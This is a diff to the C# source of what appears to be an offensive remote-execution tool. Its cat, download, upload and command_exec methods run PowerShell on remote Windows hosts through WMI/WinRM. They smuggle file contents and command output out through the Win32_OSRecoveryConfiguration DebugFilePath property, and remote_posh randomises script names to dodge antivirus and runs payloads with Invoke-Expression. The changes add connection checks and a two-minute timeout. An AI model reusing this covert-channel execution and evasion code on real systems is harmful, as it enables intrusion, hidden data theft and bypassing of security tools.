@@ -329,15 +329,20 @@ public object cat(Planter planter)
329
329
return null ;
330
330
}
331
331
332
- string command1 = "$data = (Get-Content " + path + " | Out-String).Trim()" ;
333
- const string command2 = @"$encdata = [Int[]][Char[]]$data -Join ','" ;
334
- const string command3 =
335
- @"$a = Get-WmiObject -Class Win32_OSRecoveryConfiguration; $a.DebugFilePath = $encdata; $a.Put()" ;
336
-
337
- powershell . Commands . AddScript ( command1 , false ) ;
338
- powershell . Commands . AddScript ( command2 , false ) ;
339
- powershell . Commands . AddScript ( command3 , false ) ;
340
- Collection < PSObject > result = powershell . Invoke ( ) ;
332
+ if ( powershell . Runspace . ConnectionInfo != null )
333
+ {
334
+ string command1 = "$data = (Get-Content " + path + " | Out-String).Trim()" ;
335
+ const string command2 = @"$encdata = [Int[]][Char[]]$data -Join ','" ;
336
+ const string command3 =
337
+ @"$a = Get-WmiObject -Class Win32_OSRecoveryConfiguration; $a.DebugFilePath = $encdata; $a.Put()" ;
338
+
339
+ powershell . Commands . AddScript ( command1 , false ) ;
340
+ powershell . Commands . AddScript ( command2 , false ) ;
341
+ powershell . Commands . AddScript ( command3 , false ) ;
342
+ Collection < PSObject > result = powershell . Invoke ( ) ;
343
+ }
344
+ else
345
+ wsman = false ;
341
346
}
342
347
}
343
348
@@ -481,11 +486,15 @@ public object download(Planter planter)
481
486
powershell . Commands . AddScript ( setEnv , false ) ;
482
487
}
483
488
484
- powershell . Commands . AddScript ( command1 , false ) ;
485
- powershell . Commands . AddScript ( command2 , false ) ;
486
- powershell . Commands . AddScript ( command3 , false ) ;
487
- powershell . Invoke ( ) ;
488
-
489
+ if ( powershell . Runspace . ConnectionInfo != null )
490
+ {
491
+ powershell . Commands . AddScript ( command1 , false ) ;
492
+ powershell . Commands . AddScript ( command2 , false ) ;
493
+ powershell . Commands . AddScript ( command3 , false ) ;
494
+ powershell . Invoke ( ) ;
495
+ }
496
+ else
497
+ wsman = false ;
489
498
}
490
499
catch ( PSRemotingTransportException )
491
500
{
@@ -754,11 +763,15 @@ public object upload(Planter planter)
754
763
@"[byte[]] $decoded = $decode -split ' '; Set-Content -Encoding byte -Force -Path '" +
755
764
writePath + "' -Value $decoded" ;
756
765
757
- powershell . Commands . AddScript ( command1 , false ) ;
758
- powershell . Commands . AddScript ( command2 , false ) ;
759
- powershell . Commands . AddScript ( command3 , false ) ;
760
- powershell . Invoke ( ) ;
761
-
766
+ if ( powershell . Runspace . ConnectionInfo != null )
767
+ {
768
+ powershell . Commands . AddScript ( command1 , false ) ;
769
+ powershell . Commands . AddScript ( command2 , false ) ;
770
+ powershell . Commands . AddScript ( command3 , false ) ;
771
+ powershell . Invoke ( ) ;
772
+ }
773
+ else
774
+ wsman = false ;
762
775
}
763
776
catch ( PSRemotingTransportException )
764
777
{
@@ -832,7 +845,7 @@ public object command_exec(Planter planter)
832
845
{
833
846
try
834
847
{
835
- if ( ! string . IsNullOrEmpty ( planter . Password ? . ToString ( ) ) )
848
+ if ( ! string . IsNullOrEmpty ( planter . System ? . ToString ( ) ) )
836
849
powershell . Runspace = RunspaceCreate ( planter ) ;
837
850
else
838
851
{
@@ -857,46 +870,51 @@ public object command_exec(Planter planter)
857
870
Console . WriteLine ( e ) ;
858
871
}
859
872
860
- string command1 = "$data = (" + command + " | Out-String).Trim()" ;
861
- const string command2 = @"$encdata = [Int[]][Char[]]$data -Join ','" ;
862
- const string command3 =
863
- @"$a = Get-WmiObject -Class Win32_OSRecoveryConfiguration; $a.DebugFilePath = $encdata; $a.Put()" ;
864
-
865
- powershell . Commands . AddScript ( command1 , false ) ;
866
- powershell . Commands . AddScript ( command2 , false ) ;
867
- powershell . Commands . AddScript ( command3 , false ) ;
868
-
869
- // If running powershell.exe let's run it and not worry about the output otherwise it will hang for very long time
870
- if ( noDebugCheck )
873
+ if ( powershell . Runspace . ConnectionInfo != null )
871
874
{
872
- // start the timer and get a timeout
873
- DateTime startTime = DateTime . Now ;
874
- IAsyncResult asyncPs = powershell . BeginInvoke ( ) ;
875
+ string command1 = "$data = (" + command + " | Out-String).Trim()" ;
876
+ const string command2 = @"$encdata = [Int[]][Char[]]$data -Join ','" ;
877
+ const string command3 =
878
+ @"$a = Get-WmiObject -Class Win32_OSRecoveryConfiguration; $a.DebugFilePath = $encdata; $a.Put()" ;
879
+
880
+ powershell . Commands . AddScript ( command1 , false ) ;
881
+ powershell . Commands . AddScript ( command2 , false ) ;
882
+ powershell . Commands . AddScript ( command3 , false ) ;
875
883
876
- while ( asyncPs . IsCompleted == false )
884
+ // If running powershell.exe let's run it and not worry about the output otherwise it will hang for very long time
885
+ if ( noDebugCheck )
877
886
{
878
- //Console.WriteLine("Waiting for pipeline to finish...");
879
- Thread . Sleep ( 5000 ) ;
887
+ // start the timer and get a timeout
888
+ DateTime startTime = DateTime . Now ;
889
+ IAsyncResult asyncPs = powershell . BeginInvoke ( ) ;
880
890
881
- // Check on our timeout here
882
- TimeSpan elasped = DateTime . Now . Subtract ( startTime ) ;
883
- if ( elasped > timeout )
884
- break ;
885
- }
891
+ while ( asyncPs . IsCompleted == false )
892
+ {
893
+ //Console.WriteLine("Waiting for pipeline to finish...");
894
+ Thread . Sleep ( 5000 ) ;
886
895
887
- //powershell.EndInvoke(asyncPs);
896
+ // Check on our timeout here
897
+ TimeSpan elasped = DateTime . Now . Subtract ( startTime ) ;
898
+ if ( elasped > timeout )
899
+ break ;
900
+ }
901
+
902
+ //powershell.EndInvoke(asyncPs);
903
+ }
904
+ else
905
+ {
906
+ powershell . Invoke ( ) ;
907
+ }
888
908
}
889
909
else
890
- {
891
- powershell . Invoke ( ) ;
892
- }
910
+ wsman = false ;
893
911
}
894
912
}
895
913
896
914
GetOut :
897
915
if ( wsman == false )
898
916
{
899
- if ( string . IsNullOrEmpty ( planter . Password ? . ToString ( ) ) )
917
+ if ( string . IsNullOrEmpty ( planter . System ? . ToString ( ) ) )
900
918
{
901
919
try
902
920
{
@@ -1335,29 +1353,33 @@ public object remote_posh(Planter planter)
1335
1353
script = Regex . Replace ( script , @"\bcalldllmainsc2\b" , RandomString ( 10 ) , RegexOptions . IgnoreCase ) ;
1336
1354
script = Regex . Replace ( script , @"\bcalldllmainsc3\b" , RandomString ( 10 ) , RegexOptions . IgnoreCase ) ;
1337
1355
1338
-
1339
- // This all works right now but if we see issues down the line with output we may need to throw the output in DebugFilePath property
1340
- // Will want to add in some obfuscation
1341
- powerShell . AddScript ( script ) . AddScript ( "Invoke-Expression ; " + functionToRun ) ;
1342
- Collection < PSObject > results ;
1343
- try
1344
- {
1345
- results = powerShell ? . Invoke ( ) ;
1346
- }
1347
- catch ( RemoteException e )
1356
+ if ( powerShell . Runspace . ConnectionInfo != null )
1348
1357
{
1349
- Messenger . ErrorMessage ( "[-] Error: Issues with PowerShell script, it may have been flagged by AV" ) ;
1350
- Console . WriteLine ( e ) ;
1351
- throw new CaughtByAvException ( e . Message ) ;
1352
- }
1353
-
1354
- if ( results != null )
1355
- foreach ( PSObject result in results )
1358
+ // This all works right now but if we see issues down the line with output we may need to throw the output in DebugFilePath property
1359
+ // Will want to add in some obfuscation
1360
+ powerShell . AddScript ( script ) . AddScript ( "Invoke-Expression ; " + functionToRun ) ;
1361
+ Collection < PSObject > results ;
1362
+ try
1356
1363
{
1357
- Console . WriteLine ( result ) ;
1364
+ results = powerShell ? . Invoke ( ) ;
1365
+ }
1366
+ catch ( RemoteException e )
1367
+ {
1368
+ Messenger . ErrorMessage ( "[-] Error: Issues with PowerShell script, it may have been flagged by AV" ) ;
1369
+ Console . WriteLine ( e ) ;
1370
+ throw new CaughtByAvException ( e . Message ) ;
1358
1371
}
1359
1372
1360
- return true ;
1373
+ if ( results != null )
1374
+ foreach ( PSObject result in results )
1375
+ {
1376
+ Console . WriteLine ( result ) ;
1377
+ }
1378
+
1379
+ return true ;
1380
+ }
1381
+ else
1382
+ wsman = false ;
1361
1383
}
1362
1384
}
1363
1385
@@ -2293,15 +2315,22 @@ public string CheckForFinishedDebugFilePath(string originalWmiProperty, CimSessi
2293
2315
bool warn = false ;
2294
2316
string returnRecovery = null ;
2295
2317
bool breakLoop = false ;
2318
+ int counter = 0 ;
2296
2319
2297
2320
do
2298
2321
{
2299
2322
string modifiedRecovery = GetOsRecovery ( cimSession ) ;
2300
2323
if ( modifiedRecovery == originalWmiProperty )
2301
2324
{
2302
2325
Messenger . WarningMessage ( "DebugFilePath write not completed, sleeping for 10s..." ) ;
2303
- System . Threading . Thread . Sleep ( 10000 ) ;
2326
+ Thread . Sleep ( 10000 ) ;
2304
2327
warn = true ;
2328
+ counter ++ ;
2329
+ if ( counter > 12 )
2330
+ {
2331
+ // We only want to run for 2 mins max
2332
+ breakLoop = true ;
2333
+ }
2305
2334
}
2306
2335
else
2307
2336
{
0 commit comments